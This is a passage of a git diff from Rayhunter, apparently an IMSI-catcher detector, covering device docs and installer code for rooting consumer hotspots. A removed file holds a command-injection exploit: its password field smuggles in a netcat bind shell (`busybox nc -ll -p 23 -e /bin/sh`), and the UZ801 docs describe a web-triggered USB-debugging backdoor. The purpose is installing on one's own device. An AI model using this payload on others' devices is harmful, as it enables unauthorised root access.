-P, --pcapify Turn QMDL file into PCAP
--show-skipped Show skipped messages
-q, --quiet Print only warnings
-d, --debug Print debug info
-h, --help Print help
-V, --version Print version
```
### Examples
`rayhunter-check -p ~/Downloads/myfile.qmdl`
`rayhunter-check -p ~/Downloads/myfile.pcap`
`rayhunter-check -p ~/Downloads #Check all files in downloads`
`rayhunter-check -d -p ~/Downloads/myfile.qmdl #run in debug mode`
+1 -3
View File
@@ -7,7 +7,7 @@ These devices have been extensively tested by the core developers and are widely
| Device | Recommended region | | Device | Recommended region |
| ------ | ------ | | ------ | ------ |
| [Orbic RC400L](./orbic.md) Sometimes also branded Kajeet RC400L | Americas | | [Orbic RC400L](./orbic.md) | Americas |
| [TP-Link M7350](./tplink-m7350.md) | Africa, Europe, Middle East | | [TP-Link M7350](./tplink-m7350.md) | Africa, Europe, Middle East |
The TP-Link M7350 also works in the Americas but is usually more expensive. The TP-Link M7350 also works in the Americas but is usually more expensive.
@@ -24,8 +24,6 @@ Rayhunter is confirmed to work on these devices.
| [Tmobile TMOHS1](./tmobile-tmohs1.md) | Americas | | [Tmobile TMOHS1](./tmobile-tmohs1.md) | Americas |
| [TP-Link M7310](./tplink-m7310.md) | Africa, Europe, Middle East | | [TP-Link M7310](./tplink-m7310.md) | Africa, Europe, Middle East |
| [PinePhone and PinePhone Pro](./pinephone.md) | Global | | [PinePhone and PinePhone Pro](./pinephone.md) | Global |
| [FY UZ801](./uz801.md) | Asia, Europe |
| [Moxee hotspot](./moxee.md) | Americas |
## Adding new devices ## Adding new devices
Rayhunter was built and tested primarily on the Orbic RC400L mobile hotspot, but the community has been working hard at adding support for other devices. Theoretically, if a device runs a Qualcomm modem and exposes a `/dev/diag` interface, Rayhunter may work on it. Rayhunter was built and tested primarily on the Orbic RC400L mobile hotspot, but the community has been working hard at adding support for other devices. Theoretically, if a device runs a Qualcomm modem and exposes a `/dev/diag` interface, Rayhunter may work on it.
-15
View File
@@ -22,18 +22,3 @@ Your device is now Rayhunter-free, and should no longer be in a rooted ADB-enabl
4. `update-rc.d rayhunter_daemon remove` 4. `update-rc.d rayhunter_daemon remove`
5. (hardware revision v4.0+ only) In `Settings > NAT Settings > Port Triggers` in TP-Link's admin UI, remove any leftover port triggers. 5. (hardware revision v4.0+ only) In `Settings > NAT Settings > Port Triggers` in TP-Link's admin UI, remove any leftover port triggers.
## UZ801
0. (Optional): Back up the qmdl folder with all of the captures:
`adb pull /data/rayhunter/qmdl .`
1. Run `adb shell` to get a root shell on the device
2. Delete the /data/rayhunter folder: `rm -rf /data/rayhunter`
3. Modify the initmifiservice.sh script to remove the rayhunter
startup line:
```sh
mount -o remount,rw /system
busybox vi /system/bin/initmifiservice.sh
```
Then type 999G (shift+g), then type dd. Then press the colon key (:) and type wq. Finally, press Enter.
4. Lastly, run `setprop persist.sys.usb.config rndis`.
5. Type `reboot` to reboot the device.
+1 -1
View File
@@ -1,6 +1,6 @@
# Using Rayhunter # Using Rayhunter
Once installed, Rayhunter will run automatically whenever your device is running. You'll see a green line on top of the device's display to indicate that it's running and recording. [The line will turn yellow dots, orange dashes, or solid red](./faq.md#red) once a potential IMSI catcher has been found, depending on the severity of the alert, until the device is rebooted or a new recording is started through the web UI. Once installed, Rayhunter will run automatically whenever your device is running. You'll see a green line on top of the device's display to indicate that it's running and recording. [The line will turn red](./faq.md#red) once a potential IMSI catcher has been found, until the device is rebooted or a new recording is started through the web UI.
![Rayhunter_0 5 0](./Rayhunter_0.5.0.png) ![Rayhunter_0 5 0](./Rayhunter_0.5.0.png)
-67
View File
@@ -1,67 +0,0 @@
# UZ801
The UZ801 is a 4G/LTE USB modem which is built on top of a Qualcomm Snapdragon 410 (MSM8916, with MDM8916 modem.) It does not have a screen, but it does have LEDs which can be used to signal the same status as the green/red bar on the Orbic hotspot. It uses a custom Android-based firmware with limited coreutils. More information about this device can be found [here](https://github.com/AlienWolfX/UZ801-USB_MODEM/wiki/Overview)
It is worth noting that even though the Snapdragon 410 is a quad-core SoC, the CPU has only 2 of the cores enabled on the stock Android-based firmware, probably to avoid overheating as they did not exactly engineer any cooling solution. Regardless, even with 2 disabled cores there is plenty of compute overhead. There are 384MB of RAM on the SoC, and 4GB of eMMC in the form of an SK Hynix NAND flash chip located external to the SoC.
Rayhunter has been tested on UZ801 devices with firmware supporting USB debugging backdoor access. It is not certain whether all of the sticks that use this board will be compatible with the automated installer, or even with any alternative manual installation method. Please consider sharing your device's firmware version and hardware information [here](https://github.com/EFForg/rayhunter/discussions/479) to help improve compatibility.
## Where to purchase
There are several option to purchase this device:
1. AliExpress:
- [1](https://www.aliexpress.us/item/3256808999940005.html)
- [2](https://www.aliexpress.us/item/3256809191207903.html)
- [3](https://www.aliexpress.us/item/3256809191207903.html)
2. eBay:
- [1](https://www.ebay.com/itm/394512588226)
- [2](https://www.ebay.com/itm/195655408253)
- [3](https://www.ebay.com/itm/116678550086)
3. Amazon:
- [1](https://www.amazon.com/150Mbps-Adapter-Network-Lightweight-Portable/dp/B0DQC64ZFS)
- [2](https://www.amazon.com/Heayzoki-Network-Adapter-Wireless-Connection/dp/B0CG4W31M4)
## Supported bands
The UZ801 supports various LTE bands depending on the specific hardware revision and carrier customization. Check your device specifications for the exact band support.
The most frequent bands found on these devices are LTE bands 1/3/5/8/20. In the US, this means that Verizon's band 5 towers are the only towers that this device could communicate with in its normal usage as an LTE modem. Research on whether Qualcomm diagnostic tools can be used to write new band support into the NVRAM is pending.
## Installing
With the device fully booted (i.e. beaming a wifi network, blue LED, etc.) and plugged into the computer that is performing the installation, run:
```sh
./installer uz801
```
Note: The default IP for UZ801 is typically `192.168.100.1`; if yours differs, use the `--admin-ip` argument to specify it.
## LED modes
| Rayhunter state | LED indicator |
| ---------------- | ------------------- |
| Recording | Green LED solid on |
| Paused | WiFi (blue) LED solid on |
| Warning Detected | Red LED solid on |
Note: Unlike the TMOHS1, the UZ801 uses solid LED indicators instead of blinking patterns.
## Obtaining a shell
The UZ801 supports ADB access after the USB debugging backdoor is activated.
```sh
adb shell
```
## Device-specific notes
The UZ801 uses a unique installation process that activates a hidden USB debugging backdoor.
The installation process works as follows:
1. Activates the USB debugging backdoor via HTTP AJAX request
2. Waits for device reboot and ADB availability
3. Uses ADB to install rayhunter files and modify the startup script
4. Launches rayhunter daemon automatically
- The UZ801 does not symlink busybox for some core system utils, for some reason. Please use `busybox <utility_name>`, e.g. `busybox df -h`.
- USB debugging must be activated via the web backdoor before ADB access is possible (this is required only once.) The installer does this already.
- The device uses `/system/bin/initmifiservice.sh` as the main startup script.
+1 -36
View File
@@ -8,7 +8,7 @@ The Wingtech CT2MHS01 hotspot is a Qualcomm mdm9650-based device with a screen a
There are likely variants of the device for all three ITU regions. There are likely variants of the device for all three ITU regions.
According to FCC ID 2APXW-CT2MHS01 Test Report No. [I20N02441-RF-LTE](https://fcc.report/FCC-ID/2APXW-CT2MHS01/4957451), the ITU Region 2 American version of the device supports the following LTE bands: According to FCC ID 2APXW-CT2MHS01 Test Report No. [I20N02441-RF-LTE](https://apps.fcc.gov/eas/GetApplicationAttachment.html?id=4957451), the ITU Region 2 American version of the device supports the following LTE bands:
| Band | Frequency | | Band | Frequency |
| ---- | ---------------- | | ---- | ---------------- |
@@ -67,38 +67,3 @@ WT_HARDWARE_VERSION=89323_1_20
``` ```
Please consider sharing the contents of your device's /etc/wt_version file here. Please consider sharing the contents of your device's /etc/wt_version file here.
## Troubleshooting
### My hotspot won't turn on after rebooting when installing over WiFi
Reinsert the battery and turn the device back on, Rayhunter should be installed and running. Sometimes the Wingtech hotspot gets stuck off and ignores the power button after a reboot until the battery is reseated.
You do not need to run the installer again.
You'll likely see the following messages, where the installer is stuck at `Testing rayhunter ... `.
```sh
Starting telnet ... ok
Connecting via telnet to 192.168.1.1 ... ok
Sending file /data/rayhunter/config.toml ... ok
Sending file /data/rayhunter/rayhunter-daemon ... ok
Sending file /etc/init.d/rayhunter_daemon ... ok
Rebooting device and waiting 30 seconds for it to start up.
Testing rayhunter ...
```
If you eventually see:
```sh
Testing rayhunter ...
Failed to install rayhunter on the Wingtech CT2MHS01
Caused by:
0: error sending request for url (http://192.168.1.1:8080/index.html)
1: client error (Connect)
2: tcp connect error: Network is unreachable (os error 101)
3: Network is unreachable (os error 101)
```
Make sure your computer is connected to the hotspot's wifi network.
+3 -3
View File
@@ -1,6 +1,6 @@
[package] [package]
name = "installer" name = "installer"
version = "0.6.1" version = "0.5.0"
edition = "2024" edition = "2024"
[dependencies] [dependencies]
@@ -26,12 +26,12 @@ tokio-stream = "0.1.17"
[target.'cfg(target_os = "linux")'.dependencies.adb_client] [target.'cfg(target_os = "linux")'.dependencies.adb_client]
git = "https://github.com/EFForg/adb_client.git" git = "https://github.com/EFForg/adb_client.git"
rev = "208a302367727554d7530e937ca8aee20a74fa51" rev = "e511662394e4fa32865c154c40f81a3d846f700c"
default-features = false default-features = false
features = ["trans-nusb"] features = ["trans-nusb"]
[target.'cfg(any(target_os = "windows", target_os = "macos"))'.dependencies.adb_client] [target.'cfg(any(target_os = "windows", target_os = "macos"))'.dependencies.adb_client]
git = "https://github.com/EFForg/adb_client.git" git = "https://github.com/EFForg/adb_client.git"
rev = "208a302367727554d7530e937ca8aee20a74fa51" rev = "e511662394e4fa32865c154c40f81a3d846f700c"
default-features = false default-features = false
features = ["trans-libusb"] features = ["trans-libusb"]
-30
View File
@@ -3,12 +3,10 @@ use clap::{Parser, Subcommand};
use env_logger::Env; use env_logger::Env;
mod orbic; mod orbic;
mod orbic_network;
mod pinephone; mod pinephone;
mod tmobile; mod tmobile;
mod tplink; mod tplink;
mod util; mod util;
mod uz801;
mod wingtech; mod wingtech;
pub static CONFIG_TOML: &str = include_str!("../../dist/config.toml.in"); pub static CONFIG_TOML: &str = include_str!("../../dist/config.toml.in");
@@ -27,14 +25,8 @@ struct Args {
enum Command { enum Command {
/// Install rayhunter on the Orbic Orbic RC400L. /// Install rayhunter on the Orbic Orbic RC400L.
Orbic(InstallOrbic), Orbic(InstallOrbic),
/// Install rayhunter on the Orbic RC400L or Moxee Hotspot via network.
///
/// This is an experimental installer for Orbic that does not require USB drivers on Windows.
OrbicNetwork(OrbicNetworkArgs),
/// Install rayhunter on the TMobile TMOHS1. /// Install rayhunter on the TMobile TMOHS1.
Tmobile(TmobileArgs), Tmobile(TmobileArgs),
/// Install rayhunter on the Uz801.
Uz801(Uz801Args),
/// Install rayhunter on a PinePhone's Quectel modem. /// Install rayhunter on a PinePhone's Quectel modem.
Pinephone(InstallPinephone), Pinephone(InstallPinephone),
/// Install rayhunter on the TP-Link M7350. /// Install rayhunter on the TP-Link M7350.
@@ -71,13 +63,6 @@ struct InstallTpLink {
#[derive(Parser, Debug)] #[derive(Parser, Debug)]
struct InstallOrbic {} struct InstallOrbic {}
#[derive(Parser, Debug)]
struct OrbicNetworkArgs {
/// IP address for Orbic admin interface, if custom.
#[arg(long, default_value = "192.168.1.1")]
admin_ip: String,
}
#[derive(Parser, Debug)] #[derive(Parser, Debug)]
struct InstallPinephone {} struct InstallPinephone {}
@@ -97,8 +82,6 @@ enum UtilSubCommand {
TmobileStartAdb(TmobileArgs), TmobileStartAdb(TmobileArgs),
/// Root the Tmobile and launch telnetd. /// Root the Tmobile and launch telnetd.
TmobileStartTelnet(TmobileArgs), TmobileStartTelnet(TmobileArgs),
/// Root the Uz801 and launch adb.
Uz801StartAdb(Uz801Args),
/// Root the tplink and launch telnetd. /// Root the tplink and launch telnetd.
TplinkStartTelnet(TplinkStartTelnet), TplinkStartTelnet(TplinkStartTelnet),
/// Root the Wingtech and launch telnetd. /// Root the Wingtech and launch telnetd.
@@ -109,8 +92,6 @@ enum UtilSubCommand {
PinephoneStartAdb, PinephoneStartAdb,
/// Lock the Pinephone's modem and stop adb. /// Lock the Pinephone's modem and stop adb.
PinephoneStopAdb, PinephoneStopAdb,
/// Root the Orbic and launch telnetd.
OrbicStartTelnet(OrbicNetworkArgs),
/// Send a file to the TP-Link device over telnet. /// Send a file to the TP-Link device over telnet.
/// ///
/// Before running this utility, you need to make telnet accessible with `installer util /// Before running this utility, you need to make telnet accessible with `installer util
@@ -134,13 +115,6 @@ struct TmobileArgs {
admin_password: String, admin_password: String,
} }
#[derive(Parser, Debug)]
struct Uz801Args {
/// IP address for Uz801 admin interface, if custom.
#[arg(long, default_value = "192.168.100.1")]
admin_ip: String,
}
#[derive(Parser, Debug)] #[derive(Parser, Debug)]
struct TplinkStartTelnet { struct TplinkStartTelnet {
/// IP address for TP-Link admin interface, if custom. /// IP address for TP-Link admin interface, if custom.
@@ -194,12 +168,10 @@ async fn run() -> Result<(), Error> {
match command { match command {
Command::Tmobile(args) => tmobile::install(args).await.context("Failed to install rayhunter on the Tmobile TMOHS1. Make sure your computer is connected to the hotspot using USB tethering or WiFi.")?, Command::Tmobile(args) => tmobile::install(args).await.context("Failed to install rayhunter on the Tmobile TMOHS1. Make sure your computer is connected to the hotspot using USB tethering or WiFi.")?,
Command::Uz801(args) => uz801::install(args).await.context("Failed to install rayhunter on the Uz801. Make sure your computer is connected to the hotspot using USB.")?,
Command::Tplink(tplink) => tplink::main_tplink(tplink).await.context("Failed to install rayhunter on the TP-Link M7350. Make sure your computer is connected to the hotspot using USB tethering or WiFi.")?, Command::Tplink(tplink) => tplink::main_tplink(tplink).await.context("Failed to install rayhunter on the TP-Link M7350. Make sure your computer is connected to the hotspot using USB tethering or WiFi.")?,
Command::Pinephone(_) => pinephone::install().await Command::Pinephone(_) => pinephone::install().await
.context("Failed to install rayhunter on the Pinephone's Quectel modem")?, .context("Failed to install rayhunter on the Pinephone's Quectel modem")?,
Command::Orbic(_) => orbic::install().await.context("\nFailed to install rayhunter on the Orbic RC400L")?, Command::Orbic(_) => orbic::install().await.context("\nFailed to install rayhunter on the Orbic RC400L")?,
Command::OrbicNetwork(args) => orbic_network::install(args.admin_ip).await.context("\nFailed to install rayhunter on the Orbic RC400L via network exploit")?,
Command::Wingtech(args) => wingtech::install(args).await.context("\nFailed to install rayhunter on the Wingtech CT2MHS01")?, Command::Wingtech(args) => wingtech::install(args).await.context("\nFailed to install rayhunter on the Wingtech CT2MHS01")?,
Command::Util(subcommand) => match subcommand.command { Command::Util(subcommand) => match subcommand.command {
UtilSubCommand::Serial(serial_cmd) => { UtilSubCommand::Serial(serial_cmd) => {
@@ -223,7 +195,6 @@ async fn run() -> Result<(), Error> {
UtilSubCommand::Shell => orbic::shell().await.context("\nFailed to open shell on Orbic RC400L")?, UtilSubCommand::Shell => orbic::shell().await.context("\nFailed to open shell on Orbic RC400L")?,
UtilSubCommand::TmobileStartTelnet(args) => wingtech::start_telnet(&args.admin_ip, &args.admin_password).await.context("\nFailed to start telnet on the Tmobile TMOHS1")?, UtilSubCommand::TmobileStartTelnet(args) => wingtech::start_telnet(&args.admin_ip, &args.admin_password).await.context("\nFailed to start telnet on the Tmobile TMOHS1")?,
UtilSubCommand::TmobileStartAdb(args) => wingtech::start_adb(&args.admin_ip, &args.admin_password).await.context("\nFailed to start adb on the Tmobile TMOHS1")?, UtilSubCommand::TmobileStartAdb(args) => wingtech::start_adb(&args.admin_ip, &args.admin_password).await.context("\nFailed to start adb on the Tmobile TMOHS1")?,
UtilSubCommand::Uz801StartAdb(args) => uz801::activate_usb_debug(&args.admin_ip).await.context("\nFailed to activate USB debug on the Uz801")?,
UtilSubCommand::TplinkStartTelnet(options) => { UtilSubCommand::TplinkStartTelnet(options) => {
tplink::start_telnet(&options.admin_ip).await?; tplink::start_telnet(&options.admin_ip).await?;
} }
@@ -237,7 +208,6 @@ async fn run() -> Result<(), Error> {
UtilSubCommand::WingtechStartAdb(args) => wingtech::start_adb(&args.admin_ip, &args.admin_password).await.context("\nFailed to start adb on the Wingtech CT2MHS01")?, UtilSubCommand::WingtechStartAdb(args) => wingtech::start_adb(&args.admin_ip, &args.admin_password).await.context("\nFailed to start adb on the Wingtech CT2MHS01")?,
UtilSubCommand::PinephoneStartAdb => pinephone::start_adb().await.context("\nFailed to start adb on the PinePhone's modem")?, UtilSubCommand::PinephoneStartAdb => pinephone::start_adb().await.context("\nFailed to start adb on the PinePhone's modem")?,
UtilSubCommand::PinephoneStopAdb => pinephone::stop_adb().await.context("\nFailed to stop adb on the PinePhone's modem")?, UtilSubCommand::PinephoneStopAdb => pinephone::stop_adb().await.context("\nFailed to stop adb on the PinePhone's modem")?,
UtilSubCommand::OrbicStartTelnet(args) => orbic_network::start_telnet(&args.admin_ip).await.context("\\nFailed to start telnet on the Orbic RC400L")?,
} }
} }
+17 -43
View File
@@ -1,6 +1,3 @@
#[cfg(target_os = "windows")]
use std::io::stdin;
use std::io::{ErrorKind, Write}; use std::io::{ErrorKind, Write};
use std::path::Path; use std::path::Path;
use std::time::Duration; use std::time::Duration;
@@ -33,13 +30,6 @@ On macOS or windows this might be caused by another program using the Orbic.
Please close any program that might be using your Orbic. Please close any program that might be using your Orbic.
If you have adb installed you may need to kill the adb daemon"#; If you have adb installed you may need to kill the adb daemon"#;
#[cfg(target_os = "windows")]
const WINDOWS_WARNING: &str = r#""WINDOWS IS NOT FULLY SUPPORTED
THIS MAY BRICK YOUR DEVICE
PLEASE INSTALL FROM MACOS OR LINUX INSTEAD IF POSSIBLE"#;
const VENDOR_ID: u16 = 0x05c6; const VENDOR_ID: u16 = 0x05c6;
const PRODUCT_ID: u16 = 0xf601; const PRODUCT_ID: u16 = 0xf601;
@@ -51,25 +41,7 @@ const RNDIS_INTERFACE: u8 = 0;
#[cfg(not(target_os = "windows"))] #[cfg(not(target_os = "windows"))]
const RNDIS_INTERFACE: u8 = 1; const RNDIS_INTERFACE: u8 = 1;
#[cfg(target_os = "windows")]
async fn confirm() -> Result<bool> {
println!("{}", WINDOWS_WARNING);
echo!("Do you wish to proceed? Enter 'yes' to install> ");
let mut input = String::new();
stdin().read_line(&mut input)?;
Ok(input.trim() == "yes")
}
pub async fn install() -> Result<()> { pub async fn install() -> Result<()> {
#[cfg(target_os = "windows")]
{
let confirmation = confirm().await?;
if confirmation != true {
println!("Install aborted. Your device has not been modified.");
return Ok(());
}
}
let mut adb_device = force_debug_mode().await?; let mut adb_device = force_debug_mode().await?;
echo!("Installing rootshell... "); echo!("Installing rootshell... ");
setup_rootshell(&mut adb_device).await?; setup_rootshell(&mut adb_device).await?;
@@ -174,9 +146,10 @@ pub async fn test_rayhunter(adb_device: &mut ADBUSBDevice) -> Result<()> {
if let Ok(output) = adb_command( if let Ok(output) = adb_command(
adb_device, adb_device,
&["wget", "-O", "-", "http://localhost:8080/index.html"], &["wget", "-O", "-", "http://localhost:8080/index.html"],
) && output.contains("html") ) {
{ if output.contains("html") {
return Ok(()); return Ok(());
}
} }
failures += 1; failures += 1;
sleep(Duration::from_secs(3)).await; sleep(Duration::from_secs(3)).await;
@@ -246,7 +219,7 @@ async fn get_adb() -> Result<ADBUSBDevice> {
const MAX_FAILURES: u32 = 10; const MAX_FAILURES: u32 = 10;
let mut failures = 0; let mut failures = 0;
loop { loop {
match ADBUSBDevice::new_no_auth(VENDOR_ID, PRODUCT_ID) { match ADBUSBDevice::new(VENDOR_ID, PRODUCT_ID) {
Ok(dev) => match adb_echo_test(dev).await { Ok(dev) => match adb_echo_test(dev).await {
Ok(dev) => return Ok(dev), Ok(dev) => return Ok(dev),
Err(e) => { Err(e) => {
@@ -296,12 +269,14 @@ async fn adb_echo_test(mut adb_device: ADBUSBDevice) -> Result<ADBUSBDevice> {
Ok::<(ADBUSBDevice, Vec<u8>), RustADBError>((adb_device, buf)) Ok::<(ADBUSBDevice, Vec<u8>), RustADBError>((adb_device, buf))
}); });
sleep(Duration::from_secs(1)).await; sleep(Duration::from_secs(1)).await;
if thread.is_finished() if thread.is_finished() {
&& let Ok(Ok((dev, buf))) = thread.join() if let Ok(Ok((dev, buf))) = thread.join() {
&& let Ok(s) = std::str::from_utf8(&buf) if let Ok(s) = std::str::from_utf8(&buf) {
&& s.contains(test_echo) if s.contains(test_echo) {
{ return Ok(dev);
return Ok(dev); }
}
}
} }
// I'd like to kill the background thread here if that was possible. // I'd like to kill the background thread here if that was possible.
bail!("Could not communicate with the Orbic. Try disconnecting and reconnecting."); bail!("Could not communicate with the Orbic. Try disconnecting and reconnecting.");
@@ -314,11 +289,10 @@ async fn wait_for_usb_device(vendor_id: u16, product_id: u16) -> Result<()> {
loop { loop {
let mut watcher = nusb::watch_devices()?; let mut watcher = nusb::watch_devices()?;
while let Some(event) = watcher.next().await { while let Some(event) = watcher.next().await {
if let HotplugEvent::Connected(dev) = event if let HotplugEvent::Connected(dev) = event {
&& dev.vendor_id() == vendor_id if dev.vendor_id() == vendor_id && dev.product_id() == product_id {
&& dev.product_id() == product_id return Ok(());
{ }
return Ok(());
} }
} }
} }
-251
View File
@@ -1,251 +0,0 @@
use std::io::Write;
use std::net::SocketAddr;
use std::str::FromStr;
use std::time::Duration;
use anyhow::{Context, Result, bail};
use axum::{
Router,
body::Body,
extract::{Request, State},
http::uri::Uri,
response::{IntoResponse, Response},
routing::any,
};
use hyper::StatusCode;
use hyper_util::{client::legacy::connect::HttpConnector, rt::TokioExecutor};
use reqwest::Client;
use serde::Deserialize;
use tokio::sync::mpsc;
use tokio::time::sleep;
use crate::util::{echo, telnet_send_command, telnet_send_file};
use crate::{CONFIG_TOML, RAYHUNTER_DAEMON_INIT};
#[derive(Deserialize, Debug)]
struct ExploitResponse {
retcode: u32,
}
pub async fn start_telnet(admin_ip: &str) -> Result<()> {
println!("Waiting for login and trying exploit... ");
login_and_exploit(admin_ip).await?;
println!("done");
Ok(())
}
pub async fn install(admin_ip: String) -> Result<()> {
start_telnet(&admin_ip).await?;
echo!("Waiting for telnet to become available... ");
wait_for_telnet(&admin_ip).await?;
println!("done");
setup_rayhunter(&admin_ip).await
}
type HttpProxyClient = hyper_util::client::legacy::Client<HttpConnector, Body>;
#[derive(Clone)]
struct ProxyState {
client: HttpProxyClient,
admin_ip: String,
session_sender: mpsc::Sender<String>,
}
async fn proxy_handler(state: State<ProxyState>, mut req: Request) -> Result<Response, StatusCode> {
// Check for existing session cookie in request
if let Some(cookie_header) = req.headers().get("cookie")
&& let Ok(cookie_str) = cookie_header.to_str()
&& cookie_str.contains("-goahead-session-")
{
let _ = state.session_sender.send(cookie_str.to_owned()).await;
}
let path_query = req
.uri()
.path_and_query()
.map(|v| v.as_str())
.unwrap_or("/");
let uri = format!("http://{}{}", state.admin_ip, path_query);
*req.uri_mut() = Uri::try_from(uri).unwrap();
let response = state
.client
.request(req)
.await
.map_err(|_| StatusCode::BAD_REQUEST)?;
Ok(response.into_response())
}
async fn login_and_exploit(admin_ip: &str) -> Result<()> {
let client = hyper_util::client::legacy::Client::builder(TokioExecutor::new())
.build(HttpConnector::new());
let (tx, mut rx) = mpsc::channel(100);
let app = Router::new()
.route("/", any(proxy_handler))
.route("/{*path}", any(proxy_handler))
.with_state(ProxyState {
client,
admin_ip: admin_ip.to_owned(),
session_sender: tx,
});
let listener = tokio::net::TcpListener::bind("127.0.0.1:4000")
.await
.context("Failed to bind to port 4000")?;
println!(
"Please open http://127.0.0.1:4000 in your browser and log into the device to continue."
);
println!("Username: admin");
println!(
"Password: On Verizon Orbic RC400L, use the WiFi password. On Moxee devices, check under the battery."
);
let handle = tokio::spawn(async move { axum::serve(listener, app).await });
let exploit_client = Client::new();
let mut last_error = None;
while let Some(cookie_header) = rx.recv().await {
match start_reverse_shell(&exploit_client, admin_ip, &cookie_header).await {
Ok(_) => {
handle.abort();
return Ok(());
}
Err(e) => last_error = Some(e),
}
}
handle.abort();
bail!("Failed to receive session cookie, last error: {last_error:?}")
}
async fn start_reverse_shell(client: &Client, admin_ip: &str, cookie_header: &str) -> Result<()> {
let response: ExploitResponse = client
.post(format!("http://{}/action/SetRemoteAccessCfg", admin_ip))
.header("Content-Type", "application/json")
.header("Cookie", cookie_header)
// Original Orbic lacks telnetd (unlike other devices)
// When doing this, one needs to set prompt=None in the telnet utility functions
.body(r#"{"password": "\"; busybox nc -ll -p 23 -e /bin/sh & #"}"#)
.send()
.await?
.json()
.await?;
if response.retcode != 0 {
bail!("unexpected response: {:?}", response);
}
Ok(())
}
async fn wait_for_telnet(admin_ip: &str) -> Result<()> {
let addr = SocketAddr::from_str(&format!("{}:23", admin_ip))?;
let timeout = Duration::from_secs(60);
let start_time = std::time::Instant::now();
while telnet_send_command(addr, "true", "exit code 0", false)
.await
.is_err()
{
if start_time.elapsed() >= timeout {
bail!(
"Timeout waiting for telnet to become available after {:?}",
timeout
);
}
sleep(Duration::from_secs(1)).await;
}
Ok(())
}
async fn setup_rayhunter(admin_ip: &str) -> Result<()> {
let addr = SocketAddr::from_str(&format!("{}:23", admin_ip))?;
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));
// Remount filesystem as read-write to allow modifications
// This is really only necessary for the Moxee Hotspot
telnet_send_command(
addr,
"mount -o remount,rw /dev/ubi0_0 /",
"exit code 0",
false,
)
.await?;
telnet_send_command(addr, "mkdir -p /data/rayhunter", "exit code 0", false).await?;
telnet_send_file(
addr,
"/data/rayhunter/rayhunter-daemon",
rayhunter_daemon_bin,
false,
)
.await?;
telnet_send_file(
addr,
"/data/rayhunter/config.toml",
CONFIG_TOML
.replace(r#"#device = "orbic""#, r#"device = "orbic""#)
.as_bytes(),
false,
)
.await?;
telnet_send_file(
addr,
"/etc/init.d/rayhunter_daemon",
RAYHUNTER_DAEMON_INIT.as_bytes(),
false,
)
.await?;
telnet_send_file(
addr,
"/etc/init.d/misc-daemon",
include_bytes!("../../dist/scripts/misc-daemon"),
false,
)
.await?;
telnet_send_command(
addr,
"chmod +x /data/rayhunter/rayhunter-daemon",
"exit code 0",
false,
)
.await?;
telnet_send_command(
addr,
"chmod 755 /etc/init.d/rayhunter_daemon",
"exit code 0",
false,
)
.await?;
telnet_send_command(
addr,
"chmod 755 /etc/init.d/misc-daemon",
"exit code 0",
false,
)
.await?;
println!("Installation complete. Rebooting device...");
telnet_send_command(addr, "shutdown -r -t 1 now", "", false)
.await
.ok();
println!(
"Device is rebooting. After it's started up again, check out the web interface at http://{}:8080",
admin_ip
);
Ok(())
}
+2 -2
View File
@@ -22,7 +22,7 @@ pub async fn install() -> Result<()> {
echo!("Unlocking modem ... "); echo!("Unlocking modem ... ");
start_adb().await?; start_adb().await?;
sleep(Duration::from_secs(3)).await; sleep(Duration::from_secs(3)).await;
let mut adb = ADBUSBDevice::new_no_auth(USB_VENDOR_ID, USB_PRODUCT_ID).unwrap(); let mut adb = ADBUSBDevice::new(USB_VENDOR_ID, USB_PRODUCT_ID).unwrap();
println!("ok"); println!("ok");
adb.run_command(&["mount", "-o", "remount,rw", "/"], "exit code 0")?; adb.run_command(&["mount", "-o", "remount,rw", "/"], "exit code 0")?;
@@ -57,7 +57,7 @@ pub async fn install() -> Result<()> {
echo!("Unlocking modem ... "); echo!("Unlocking modem ... ");
start_adb().await?; start_adb().await?;
sleep(Duration::from_secs(3)).await; sleep(Duration::from_secs(3)).await;
let mut adb = ADBUSBDevice::new_no_auth(USB_VENDOR_ID, USB_PRODUCT_ID).unwrap(); let mut adb = ADBUSBDevice::new(USB_VENDOR_ID, USB_PRODUCT_ID).unwrap();
println!("ok"); println!("ok");
echo!("Testing rayhunter ... "); echo!("Testing rayhunter ... ");
+4 -16
View File
@@ -33,10 +33,10 @@ async fn run_install(admin_ip: String, admin_password: String) -> Result<()> {
echo!("Connecting via telnet to {admin_ip} ... "); echo!("Connecting via telnet to {admin_ip} ... ");
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap(); let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
telnet_send_command(addr, "mkdir -p /data/rayhunter", "exit code 0", true).await?; telnet_send_command(addr, "mkdir -p /data/rayhunter", "exit code 0").await?;
println!("ok"); println!("ok");
telnet_send_command(addr, "mount -o remount,rw /", "exit code 0", true).await?; telnet_send_command(addr, "mount -o remount,rw /", "exit code 0").await?;
telnet_send_file( telnet_send_file(
addr, addr,
@@ -44,7 +44,6 @@ async fn run_install(admin_ip: String, admin_password: String) -> Result<()> {
crate::CONFIG_TOML crate::CONFIG_TOML
.replace("#device = \"orbic\"", "device = \"tmobile\"") .replace("#device = \"orbic\"", "device = \"tmobile\"")
.as_bytes(), .as_bytes(),
true,
) )
.await?; .await?;
@@ -53,47 +52,36 @@ async fn run_install(admin_ip: String, admin_password: String) -> Result<()> {
addr, addr,
"/data/rayhunter/rayhunter-daemon", "/data/rayhunter/rayhunter-daemon",
rayhunter_daemon_bin, rayhunter_daemon_bin,
true,
) )
.await?; .await?;
telnet_send_command( telnet_send_command(
addr, addr,
"chmod 755 /data/rayhunter/rayhunter-daemon", "chmod 755 /data/rayhunter/rayhunter-daemon",
"exit code 0", "exit code 0",
true,
) )
.await?; .await?;
telnet_send_file( telnet_send_file(
addr, addr,
"/etc/init.d/misc-daemon", "/etc/init.d/misc-daemon",
include_bytes!("../../dist/scripts/misc-daemon"), include_bytes!("../../dist/scripts/misc-daemon"),
true,
)
.await?;
telnet_send_command(
addr,
"chmod 755 /etc/init.d/misc-daemon",
"exit code 0",
true,
) )
.await?; .await?;
telnet_send_command(addr, "chmod 755 /etc/init.d/misc-daemon", "exit code 0").await?;
telnet_send_file( telnet_send_file(
addr, addr,
"/etc/init.d/rayhunter_daemon", "/etc/init.d/rayhunter_daemon",
crate::RAYHUNTER_DAEMON_INIT.as_bytes(), crate::RAYHUNTER_DAEMON_INIT.as_bytes(),
true,
) )
.await?; .await?;
telnet_send_command( telnet_send_command(
addr, addr,
"chmod 755 /etc/init.d/rayhunter_daemon", "chmod 755 /etc/init.d/rayhunter_daemon",
"exit code 0", "exit code 0",
true,
